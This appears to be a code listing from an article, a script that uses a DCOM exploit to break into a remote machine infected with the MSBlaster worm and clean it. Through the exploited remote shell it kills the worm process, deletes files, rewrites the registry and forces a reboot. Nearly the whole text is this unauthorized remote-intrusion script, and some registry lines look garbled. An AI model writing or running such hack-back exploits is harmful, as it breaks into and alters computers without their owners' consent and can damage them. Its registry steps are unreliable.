Listing A: Script to Clean MSBlaster from Originating Host REM Launches a DCOM exploit toward the infected attacking host, REM then runs cleaning commands in the remote DOS shell ./dcom_exploit -d $1 << EOF REM Executes the following orders on the host: REM 1) Kill the running process msblast.exe taskkill /f /im msblast.exe /t REM 2) Eliminate the binary of the worm del /f %SystemRoot%\system32\msblast.exe REM 3) Clean the registry echo Regedit4 > c: \cleanerMSB.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run] >> c:\cleanerMSB.reg echo "auto windows update" = "REM msblast.exe" >> c: \cleanerMSB.reg regedit /s c: \cleanerMSB.reg del /f c:\cleanerMSB.reg REM N) Specific actions to update the Windows host could be added here REM N+1) Reboot the host shutdown -r -f -t 0 exit EOF